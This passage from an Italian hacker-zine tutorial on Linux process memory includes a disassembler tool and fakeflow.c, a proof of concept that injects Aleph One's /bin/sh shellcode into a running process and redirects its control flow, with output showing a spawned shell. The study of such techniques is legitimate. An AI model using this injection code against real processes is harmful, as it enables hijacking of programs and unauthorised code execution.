printf("%02X ", img[i + n]);
else
printf(" ");
}
printf("%s", curr_inst.mnemonic);
if (curr_inst.src[0] != 0)
printf("\t%s,", curr_inst.src);
if (curr_inst.aux[0] != 0)
printf(", %s", curr_inst.aux);
if (curr_inst.dest[0] != 0)
printf(" %s", curr_inst.dest);
printf("\n");
i += size;
}
else
{
printf("invalid opcode %02X\n", img[i]);
i++;
}
}
disassemble_cleanup();
exit(0);
}
void mcheck(void *maddr)
{
if (maddr == NULL)
{
fprintf(stderr, "Memory allocation error - malloc()\n");
exit(1);
}
}
char *elf_get_type(int type)
{
switch(type)
{
case 0: return "No file type";
case 1: return "Relocatable file";
case 2: return "Executable file";
case 3: return "Shared Object file";
case 4: return "Core file";
default:
if ( type >= 0xff00 && type <= 0xffff )
return "Processor Specific Type";
return "Reserved Value - Unknown";
}
}
char *elf_get_machine(int machine)
{
switch(machine)
{
case 0: return "No machine";
case 1: return "AT&T WE 32100";
case 2: return "SPARC";
case 3: return "Intel 80386";
case 4: return "Motorola 68000";
case 5: return "Motorola 88000";
case 7: return "Intel 80860";
case 8: return "MIPS RS3000";
default:
return "Reserved Value - Unknown";
}
}
-- fine / saled.c --
Come prima, con dictracy.h, non pasto anche parse.s poiche' e' gia' stata presentata in occasione di memdig.c.
twiz@twiz:~$ ./test
0x8049708
AAAAAAAAA BBBBBBBBB
AAAAAAAAA BBBBBBBBB
[...]
In un' altra tty lanciamo saled passandogli a riga di comando il pid del programma in esecuzione che ci interessa analizzare :
root@twiz:~/lkm/mem# ./saled 607
--- PID examined: 607
ELF Header - dumping at address : 0x8048000
ELF's identification first 4 bytes 0x7f E L F
Class : ELFCLASS32 - 32 bit objects
Data Encoding : Least Significant Bit
Type : 2 - Executable file
Machine : 3 - Intel 80386
Version : EV_CURRENT
Entry : 0x80483f0 - virtual address to which the system first transfers control
PHT offset : 52
SHT offset : 10660
ELF's header size : 52
Size of one entry in PHT : 32
Number of PHT's entry : 6
Starting Debugging
Starting at address : 0x80483f0
Ending at address : 0x80485e4
Offset : 500
0x8048350 31 ED xor %ebp, %ebp
0x8048352 5E pop %esi
0x8048353 89 E1 mov %esp, %ecx
0x8048355 83 E4 F0 and $0xF0, %esp
0x8048358 50 push %eax
0x8048359 54 push %esp
[...] - Segue l'intero debugging
---] Modificare il flow di un programma in esecuzione - fakeflow.c
Il passo successivo a saled.c ( e, ovviamente, anche se non lo ammettero' mai, il *vero* motivo per cui e' stato scritto saled.c :P) era cercare di modificare il flow di un programma in esecuzione per fargli eseguire codice arbitrario a nostra scelta.
Prendiamo, per l' occasione, questo semplice programmino di test, stretto parente di quello che abbiamo usato prima:
-- taglia qui / test2.c --
#include <stdio.h>
char temp[10] = "AAAAAAAAA\0";
char temp2[10] = "BBBBBBBBB\0";
main()
{
int i = 0;
while(1)
{
sleep(10);
i = i + 5;
printf("%d\n", i);
}
}
-- fine / test2.c --
E lanciamolo in esecuzione :
twiz@twiz:~$ ./test
5
10
15
[...]
Ora, da un' altra tty lanciamo saled per ottenere il debug del code.
root@twiz:~/lkm/mem# ./saled 687 > test
root@twiz:~/lkm/mem#
Apriamo test e cerchiamo il punto che ci interessa modificare, ovvero il corrispettivo in asm dell'istruzione in C "i = i + 5" e proviamo a modificarlo, facendo per esempio aggiungere un altro numero invece che 5 (modifica molto semplice).
Nel codice disassemblato troviamo ad un certo punto :
0x804844e 83 C4 10 add $0x10, %esp
0x8048451 83 45 FC 05 add $0x5, -04(%ebp)
0x8048455 83 C4 F8 add $-0x8, %esp
Tombola! Quello che sta scritto all' indirizzo 0x8048451 e' proprio quello che stavamo cercando, ovvero il punto del programma in cui viene aggiunto (add) 5 alla variabile "i".
Proviamo a modificarlo, facendo aggiungere ad esempio 50 invece che 5, cioe' sostituendo al byte all' indirizzo 0x8048454 (05) 32 (cioe' 50 in hex, cioe' il codice ascii corrispondente al 2).
Per far questo ci e' sufficiente utilizzare memdig, in quanto la modifica e' molto semplice :
root@twiz:~/lkm/mem# ./memdig write 687
Insert virtual address to start writing to : 0x8048454
Insert size of buffer you want to write : 1
Insert buffer : 2
Done
root@twiz:~/lkm/mem#
Vediamo nell' altra tty :
twiz@twiz:~$ ./test
5
10
60
110
[...]
Funziona come da copione :)
Tuttavia passare via stdin i codici esadecimali corretti, per fare una modifica leggermente piu' sostanziosa di quella vista ora, e' quantomeno scomodo (per non dire ostico).
A rendere il tutto piu' comodo ci pensa fakeflow.c
-- taglia qui \ fakeflow.c --
/*
* Fakeflow.c - Change flow of a running program
* coded by twiz - [email protected]
*
* Questo codice e' parte dell' articolo "Linux Virtual Memory Tripping"
*
* Compile with :
* gcc -o fakeflow fakeflow.c parse.s
*
* Thanks : optyx
*/
#include <stdio.h>
#include <stdlib.h>
extern int parse_rwvirtaddr(int, char *, int, unsigned long, int);
void mcheck(char *maddr);
main(int argc, char **argv)
{
int pid, ret;
unsigned long addr;
/* The address where we store the shellcode */
unsigned long addr2 = 0x80494de;
/* We need to jump where the code we want to execute is stored :
* \x68\xde\x94\x04\x08 - pushl 0x80494de
* \xc3 - ret
*
* We' re using 0x80494de because, on the program tested, the data segment
* started at address 0x80494d4. We could easily automatize that inside code
* (for example using getvirtaddr or passing it from stdin), but that's just
* a proof of concept... do it by yourself, i'm too lazy :)
*/
char jmpbuff[] = "\x68\xde\x94\x04\x08\xc3";
/* Just old Aleph's shellcode */
char code2exec[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00";
if ( argc != 2 )
{
fprintf(stderr, "Usage : %s pid\n", argv[0]);
exit(1);
}
pid = atoi(argv[1]);
printf("Insert virtual address to start writing arbitrary jump : ");
scanf("%x", &addr);
ret = parse_rwvirtaddr(pid, jmpbuff, strlen(jmpbuff), addr, 1);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
printf("Using arbitrary address %p (in data segment) to store the shellcode \
that will be executed\n", addr2);
printf("Writing shellcode...");
fflush(stdout);
ret = parse_rwvirtaddr(pid, code2exec, strlen(code2exec)+1, addr2, 1);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
printf("Done\n");
exit(0);
}
void mcheck(char *maddr)
{
if (maddr == NULL)
{
fprintf(stderr, "Memory allocation error - malloc()\n");
exit(1);
}
}
-- fine / fakeflow.c --
Vediamolo all' opera.
Per l' occasione useremo nuovamente test2.c :
twiz@twiz:~$ ./test
5
10
15
[...]
Apriamo la solita altra tty e lanciamo fakeflow :
root@twiz:~/lkm/mem# ./fakeflow 245
Insert virtual address to start writing arbitrary jump : 0x8048451
Using arbitrary address 0x80494de (in data segment) to store the shellcode that
will be executed
Writing shellcode...Done
root@twiz:~/lkm/mem#
Il programma ci chiede a che indirizzo vogliamo scrivere i 6 bytes che ci permetteranno di "saltare" ovunque (in questo caso nel data segment) per eseguire il nostro codice.
L' indirizzo da passare al programma lo sappiamo... infatti, come visto prima, possiamo tranquillamente ottenere tutto il debug del codesegment con saled.c.
A questo punto non ci resta che attendere la successiva iterazione del ciclo while :
twiz@twiz:~$ ./test
5
10
15
20
25
sh-2.05$
Voila! Come previsto il codice eseguito e' quello della nostra shell :)
0x804844e 83 C4 10 add $0x10, %esp
0x8048451 83 45 FC 05 add $0x5, -04(%ebp)
0x8048455 83 C4 F8 add $-0x8, %esp
La nostra modifica e' di 6 bytes, mentre l' istruzione asm che corrisponde al nostro " i = i + 5 " e' di 4 bytes, modificheremo dunque anche "\x83\xc4", sovrascrivendoli, e rendendo, di fatto, il programma "incomprensibile" da quel punto in poi !
"\xeb\x1f" - jmp +1f (1f == 31)
"\x53" - popl %esi (cioe' l' istruzione "successiva", ovviamente non
nel program flow, visto che il jmp manda in un
altro punto del codesegment, 31 bytes dopo)
Un' ultima cosa, della quale, come scritto nella PREMESSA, non ci curiamo affatto in fakeflow.c e' il ripristino degli opcodes "originari".
twiz@twiz:~$ ./test
Segmentation fault
twiz@twiz:~$
Segmentation fault. Perche' ?
twiz@twiz:~$ objdump -d test > temp
twiz@twiz:~$
Scorrendo temp ci imbattiamo in :
804844e: 83 c4 10 add $0x10,%esp
8048451: 68 de 94 04 08 push $0x80494de
8048456: c3 ret
Che , guarda caso, e' proprio la modifica che abbiamo fatto... ma a 0x80494de non c'e' piu' il nostro shellcode (data segment volatile) e quindi incorriamo nel segfault.Conclusioni
---] Ringraziamenti / Shotouts
Il primo, doveroso, ringraziamento va a vecna: dictracy e tutti i successivi codici hanno preso spunto dalle idee proposte in rmfbd.
Un saluto a Ritz (con ringraziamento per il beta-testing) e ai ragazzi del racl (racl.oltrelinux.com, ora in una nuova veste grafica... sembra un messaggio pubblicitario :) ).
Si ringraziano anche i ragazzi di #kernelnewbies su OpenProjects.
Ultimo, ringrazio mammon_ per le discussioni riguardo alle libdisasm, i consigli e la modifiche accettate e apportate alle libdisasm.
---] Riferimenti
[1] - RAPE MEM0RY F0R BETTER DiNNER - by vecna - BFi11-dev - file 06
http://www.s0ftpj.org/bfi/dev/BFi11-dev-06
[2] - MEMORY MANAGEMENT NEI PROCESSORI i386 IN PROTECTED MODE - by Ritz
BFi numero 9, anno 3 - 03/11/2000 - file 19 di 21
http://www.s0ftpj.org/bfi/online/bfi9/BFi09-19
[3] - Cache and TLB Flushing Under Linux - by David S. Miller
/usr/src/linux/Documentation/cachetlb.txt
[4] - KERNEL FUNCTION HIJACKING - by Silvio Cesare <[email protected]>
http://www.big.net.au/~silvio/kernel-hijack.txt
[5] - EXECUTABLE AND LINKABLE FORMAT (ELF)
Portable Formats Specification, Version 1.1
Tool Interface Standards (TIS) - txt version by Brian Raiter
http://www.muppetlabs.com/~breadbox/software/ELF.txt